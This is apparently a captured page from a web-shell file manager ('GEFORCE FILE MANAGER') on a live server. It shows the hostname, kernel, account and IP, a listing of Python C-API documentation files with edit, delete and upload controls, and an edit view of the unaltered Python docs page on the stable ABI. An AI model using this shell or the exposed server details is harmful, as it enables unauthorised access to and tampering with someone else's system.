[ SYSTEM ]: Linux srv.persadacompanies.com 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
[ SERVER ]: Apache | PHP: 8.4.19
[ USER ]: persadamedika | IP: 45.64.1.108
GEFORCE FILE MANAGER
/
usr
/
share
/
doc
/
python3-docs
/
html
/
c-api
/
UPLOAD:
NAME
SIZE
QUICK PERMS
ACTIONS
π abstract.html
9,716 B
SET
[ EDIT ]
|
[ DEL ]
π allocation.html
14,728 B
SET
[ EDIT ]
|
[ DEL ]
π apiabiversion.html
10,681 B
SET
[ EDIT ]
|
[ DEL ]
π arg.html
89,735 B
SET
[ EDIT ]
|
[ DEL ]
π bool.html
10,333 B
SET
[ EDIT ]
|
[ DEL ]
π buffer.html
64,150 B
SET
[ EDIT ]
|
[ DEL ]
π bytearray.html
15,098 B
SET
[ EDIT ]
|
[ DEL ]
π bytes.html
25,487 B
SET
[ EDIT ]
|
[ DEL ]
π capsule.html
21,699 B
SET
[ EDIT ]
|
[ DEL ]
π cell.html
11,942 B
SET
[ EDIT ]
|
[ DEL ]
π code.html
12,388 B
SET
[ EDIT ]
|
[ DEL ]
π codec.html
22,641 B
SET
[ EDIT ]
|
[ DEL ]
π complex.html
21,268 B
SET
[ EDIT ]
|
[ DEL ]
π concrete.html
17,602 B
SET
[ EDIT ]
|
[ DEL ]
π conversion.html
19,525 B
SET
[ EDIT ]
|
[ DEL ]
π coro.html
9,452 B
SET
[ EDIT ]
|
[ DEL ]
π datetime.html
26,513 B
SET
[ EDIT ]
|
[ DEL ]
π descriptor.html
11,959 B
SET
[ EDIT ]
|
[ DEL ]
π dict.html
35,244 B
SET
[ EDIT ]
|
[ DEL ]
π exceptions.html
128,414 B
SET
[ EDIT ]
|
[ DEL ]
π file.html
14,544 B
SET
[ EDIT ]
|
[ DEL ]
π float.html
15,155 B
SET
[ EDIT ]
|
[ DEL ]
π function.html
18,215 B
SET
[ EDIT ]
|
[ DEL ]
π gcsupport.html
23,787 B
SET
[ EDIT ]
|
[ DEL ]
π gen.html
10,939 B
SET
[ EDIT ]
|
[ DEL ]
π import.html
42,920 B
SET
[ EDIT ]
|
[ DEL ]
π index.html
15,759 B
SET
[ EDIT ]
|
[ DEL ]
π init.html
116,862 B
SET
[ EDIT ]
|
[ DEL ]
π intro.html
68,136 B
SET
[ EDIT ]
|
[ DEL ]
π iter.html
10,062 B
SET
[ EDIT ]
|
[ DEL ]
π iterator.html
11,928 B
SET
[ EDIT ]
|
[ DEL ]
π list.html
22,504 B
SET
[ EDIT ]
|
[ DEL ]
π long.html
44,839 B
SET
[ EDIT ]
|
[ DEL ]
π mapping.html
17,524 B
SET
[ EDIT ]
|
[ DEL ]
π marshal.html
16,935 B
SET
[ EDIT ]
|
[ DEL ]
π memory.html
58,531 B
SET
[ EDIT ]
|
[ DEL ]
π memoryview.html
13,510 B
SET
[ EDIT ]
|
[ DEL ]
π method.html
17,051 B
SET
[ EDIT ]
|
[ DEL ]
π module.html
56,821 B
SET
[ EDIT ]
|
[ DEL ]
π none.html
8,755 B
SET
[ EDIT ]
|
[ DEL ]
π number.html
44,801 B
SET
[ EDIT ]
|
[ DEL ]
π objbuffer.html
12,624 B
SET
[ EDIT ]
|
[ DEL ]
π object.html
60,861 B
SET
[ EDIT ]
|
[ DEL ]
π objimpl.html
8,087 B
SET
[ EDIT ]
|
[ DEL ]
π refcounting.html
13,454 B
SET
[ EDIT ]
|
[ DEL ]
π reflection.html
11,189 B
SET
[ EDIT ]
|
[ DEL ]
π sequence.html
28,925 B
SET
[ EDIT ]
|
[ DEL ]
π set.html
31,197 B
SET
[ EDIT ]
|
[ DEL ]
π slice.html
13,459 B
SET
[ EDIT ]
|
[ DEL ]
π stable.html
9,193 B
SET
[ EDIT ]
|
[ DEL ]
π structures.html
37,151 B
SET
[ EDIT ]
|
[ DEL ]
π sys.html
35,639 B
SET
[ EDIT ]
|
[ DEL ]
π tuple.html
30,022 B
SET
[ EDIT ]
|
[ DEL ]
π type.html
18,813 B
SET
[ EDIT ]
|
[ DEL ]
π typeobj.html
164,125 B
SET
[ EDIT ]
|
[ DEL ]
π unicode.html
188,046 B
SET
[ EDIT ]
|
[ DEL ]
π utilities.html
8,966 B
SET
[ EDIT ]
|
[ DEL ]
π veryhigh.html
54,572 B
SET
[ EDIT ]
|
[ DEL ]
π weakref.html
13,615 B
SET
[ EDIT ]
|
[ DEL ]
DELETE SELECTED
[ CLOSE ]
EDIT: stable.html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="X-UA-Compatible" content="IE=Edge" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Stable Application Binary Interface — Python 3.6.7 documentation</title> <link rel="stylesheet" href="../_static/pydoctheme.css" type="text/css" /> <link rel="stylesheet" href="../_static/pygments.css" type="text/css" /> <script type="text/javascript" id="documentation_options" data-url_root="../" src="../_static/documentation_options.js"></script> <script type="text/javascript" src="../_static/jquery.js"></script> <script type="text/javascript" src="../_static/underscore.js"></script> <script type="text/javascript" src="../_static/doctools.js"></script> <script type="text/javascript" src="../_static/sidebar.js"></script> <link rel="search" type="application/opensearchdescription+xml" title="Search within Python 3.6.7 documentation" href="../_static/opensearch.xml"/> <link rel="author" title="About these documents" href="../about.html" /> <link rel="index" title="Index" href="../genindex.html" /> <link rel="search" title="Search" href="../search.html" /> <link rel="copyright" title="Copyright" href="../copyright.html" /> <link rel="next" title="The Very High Level Layer" href="veryhigh.html" /> <link rel="prev" title="Introduction" href="intro.html" /> <link rel="shortcut icon" type="image/png" href="../_static/py.png" /> <link rel="canonical" href="https://docs.python.org/3/c-api/stable.html" /> <script type="text/javascript" src="../_static/copybutton.js"></script> </head><body> <div class="related" role="navigation" aria-label="related navigation"> <h3>Navigation</h3> <ul> <li class="right" style="margin-right: 10px"> <a href="../genindex.html" title="General Index" accesskey="I">index</a></li> <li class="right" > <a href="../py-modindex.html" title="Python Module Index" >modules</a> |</li> <li class="right" > <a href="veryhigh.html" title="The Very High Level Layer" accesskey="N">next</a> |</li> <li class="right" > <a href="intro.html" title="Introduction" accesskey="P">previous</a> |</li> <li><img src="../_static/py.png" alt="" style="vertical-align: middle; margin-top: -1px"/></li> <li><a href="https://www.python.org/">Python</a> »</li> <li> <a href="../index.html">3.6.7 Documentation</a> » </li> <li class="nav-item nav-item-1"><a href="index.html" accesskey="U">Python/C API Reference Manual</a> »</li> <li class="right"> <div class="inline-search" style="display: none" role="search"> <form class="inline-search" action="../search.html" method="get"> <input placeholder="Quick search" type="text" name="q" /> <input type="submit" value="Go" /> <input type="hidden" name="check_keywords" value="yes" /> <input type="hidden" name="area" value="default" /> </form> </div> <script type="text/javascript">$('.inline-search').show(0);</script> | </li> </ul> </div> <div class="document"> <div class="documentwrapper"> <div class="bodywrapper"> <div class="body" role="main"> <div class="section" id="stable-application-binary-interface"> <span id="stable"></span><h1>Stable Application Binary Interface<a class="headerlink" href="#stable-application-binary-interface" title="Permalink to this headline">ΒΆ</a></h1> <p>Traditionally, the C API of Python will change with every release. Most changes will be source-compatible, typically by only adding API, rather than changing existing API or removing API (although some interfaces do get removed after being deprecated first).</p> <p>Unfortunately, the API compatibility does not extend to binary compatibility (the ABI). The reason is primarily the evolution of struct definitions, where addition of a new field, or changing the type of a field, might not break the API, but can break the ABI. As a consequence, extension modules need to be recompiled for every Python release (although an exception is possible on Unix when none of the affected interfaces are used). In addition, on Windows, extension modules link with a specific pythonXY.dll and need to be recompiled to link with a newer one.</p> <p>Since Python 3.2, a subset of the API has been declared to guarantee a stable ABI. Extension modules wishing to use this API (called βlimited APIβ) need to define <code class="docutils literal notranslate"><span class="pre">Py_LIMITED_API</span></code>. A number of interpreter details then become hidden from the extension module; in return, a module is built that works on any 3.x version (x>=2) without recompilation.</p> <p>In some cases, the stable ABI needs to be extended with new functions. Extension modules wishing to use these new APIs need to set <code class="docutils literal notranslate"><span class="pre">Py_LIMITED_API</span></code> to the <code class="docutils literal notranslate"><span class="pre">PY_VERSION_HEX</span></code> value (see <a class="reference internal" href="apiabiversion.html#apiabiversion"><span class="std std-ref">API and ABI Versioning</span></a>) of the minimum Python version they want to support (e.g. <code class="docutils literal notranslate"><span class="pre">0x03030000</span></code> for Python 3.3). Such modules will work on all subsequent Python releases, but fail to load (because of missing symbols) on the older releases.</p> <p>As of Python 3.2, the set of functions available to the limited API is documented in <span class="target" id="index-0"></span><a class="pep reference external" href="https://www.python.org/dev/peps/pep-0384"><strong>PEP 384</strong></a>. In the C API documentation, API elements that are not part of the limited API are marked as βNot part of the limited API.β</p> </div> </div> </div> </div> <div class="sphinxsidebar" role="navigation" aria-label="main navigation"> <div class="sphinxsidebarwrapper"> <h4>Previous topic</h4> <p class="topless"><a href="intro.html" title="previous chapter">Introduction</a></p> <h4>Next topic</h4> <p class="topless"><a href="veryhigh.html" title="next chapter">The Very High Level Layer</a></p> <div role="note" aria-label="source link"> <h3>This Page</h3> <ul class="this-page-menu"> <li><a href="../bugs.html">Report a Bug</a></li> <li> <a href="https://github.com/python/cpython/blob/3.6/Doc/c-api/stable.rst" rel="nofollow">Show Source </a> </li> </ul> </div> </div> </div> <div class="clearer"></div> </div> <div class="related" role="navigation" aria-label="related navigation"> <h3>Navigation</h3> <ul> <li class="right" style="margin-right: 10px"> <a href="../genindex.html" title="General Index" >index</a></li> <li class="right" > <a href="../py-modindex.html" title="Python Module Index" >modules</a> |</li> <li class="right" > <a href="veryhigh.html" title="The Very High Level Layer" >next</a> |</li> <li class="right" > <a href="intro.html" title="Introduction" >previous</a> |</li> <li><img src="../_static/py.png" alt="" style="vertical-align: middle; margin-top: -1px"/></li> <li><a href="https://www.python.org/">Python</a> »</li> <li> <a href="../index.html">3.6.7 Documentation</a> » </li> <li class="nav-item nav-item-1"><a href="index.html" >Python/C API Reference Manual</a> »</li> <li class="right"> <div class="inline-search" style="display: none" role="search"> <form class="inline-search" action="../search.html" method="get"> <input placeholder="Quick search" type="text" name="q" /> <input type="submit" value="Go" /> <input type="hidden" name="check_keywords" value="yes" /> <input type="hidden" name="area" value="default" /> </form> </div> <script type="text/javascript">$('.inline-search').show(0);</script> | </li> </ul> </div> <div class="footer"> © <a href="../copyright.html">Copyright</a> 2001-2023, Python Software Foundation. <br /> The Python Software Foundation is a non-profit corporation. <a href="https://www.python.org/psf/donations/">Please donate.</a> <br /> Last updated on Dec 18, 2023. <a href="../bugs.html">Found a bug</a>? <br /> Created using <a href="http://sphinx.pocoo.org/">Sphinx</a> 1.7.6. </div> </body> </html>